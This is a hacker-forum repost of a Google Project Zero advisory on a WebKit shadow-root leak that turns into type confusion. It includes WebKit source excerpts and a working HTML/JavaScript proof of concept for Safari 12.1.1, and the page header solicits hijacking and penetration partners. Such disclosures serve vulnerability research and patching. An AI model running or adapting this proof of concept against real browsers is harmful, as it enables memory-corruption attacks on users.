跳转到帖子
诚邀seo站长，短信，劫持，渗透，代理，推广团队，博主，主播，各种资源流量大佬合作共赢【站外广告】

游客您好，欢迎来到黑客世界论坛！您可以在这里进行注册。

赤队小组-代号1949（原CHT攻防小组）在这个瞬息万变的网络时代，我们保持初心，创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识，您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告，请注册用户查看我们的使用与隐私策略，谢谢您的配合。小组成员可以获取论坛隐藏内容！

TheHackerWorld官方

WebKit - User-agent Shadow root Leak in WebCore::ReplacementFragment::ReplacementFragment

HACK1949
HACK1949
在 黑帽漏洞数据库

精选回复

发布于 
<!--
VULNERABILITY DETAILS
editing/ReplaceSelectionCommnd.cpp:
```
Ref<HTMLElement> ReplacementFragment::insertFragmentForTestRendering(Node* rootEditableElement)
{
    auto holder = createDefaultParagraphElement(document());

    holder->appendChild(*m_fragment);
    rootEditableElement->appendChild(holder); // ***2***
    document().updateLayoutIgnorePendingStylesheets();

    return holder;
}

[...]

ReplacementFragment::ReplacementFragment(Document& document, DocumentFragment* fragment, const VisibleSelection& selection)
    : m_document(&document)
    , m_fragment(fragment)
    , m_hasInterchangeNewlineAtStart(false)
    , m_hasInterchangeNewlineAtEnd(false)
{
    if (!m_fragment)
        return;
    if (!m_fragment->firstChild())
        return;
    
    RefPtr<Element> editableRoot = selection.rootEditableElement(); // ***1***
    ASSERT(editableRoot);
    if (!editableRoot)
        return;   
[...]
    RefPtr<StyledElement> holder = insertFragmentForTestRendering(editableRoot.get());
```

html/shadow/SliderThumbElement.cpp
```
RefPtr<HTMLInputElement> SliderThumbElement::hostInput() const
{
    // Only HTMLInputElement creates SliderThumbElement instances as its shadow nodes.
    // So, shadowHost() must be an HTMLInputElement.
    return downcast<HTMLInputElement>(shadowHost()); // ***3***
}
```

I noticed this behavior when I was debugging the test case for
https://bugs.webkit.org/show_bug.cgi?id=199146. When the currently focused element is an <input>,
`selection.rootEditableElement()` in [1] might point to a node inside the <input>'s user-agent
shadow DOM tree. Then `insertFragmentForTestRendering` is called, which might have side effects,
e.g., if the inserted fragment contains an <iframe> element its "onload" handler will be called
synchronously, and it's possible to reach the user-agent shadow root object by following the
ancestor chain from the <iframe>.

When an attacker has access to the shadow root, she can use it to leak other elements that are only
intended for internal use and have less strict security checks. For example, `SliderThumbElement`
doesn't check that its host element is an <iframe> in [3], so the attacker can turn this bug into a
type confusion vulnerability.


VERSION
WebKit revision 246194
Safari version 12.1.1 (14607.2.6.1.1)


REPRODUCTION CASE
-->

<body>
<script>
input = document.body.appendChild(document.createElement('input'));
input.focus();
handler = event => {
  shadow_root = event.target.parentNode.parentNode.parentNode;
  input.type = 'range';
  elt = shadow_root.firstChild.firstChild.firstChild;
  input.remove();
  elt.remove();
  evt = new MouseEvent('mouseup');
  div = document.createElement('div');
  new_shadow_root = div.attachShadow({mode: 'open'});
  new_shadow_root.appendChild(elt);
  elt.dispatchEvent(evt);
}
document.execCommand('insertHTML', false, '<iframe src="about:blank" onload="handler(event)"></iframe>');
</script>
</body>


<!--
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
-->

创建帐户或登录后发表意见

转到主题列表

最近浏览 0

  • 没有会员查看此页面。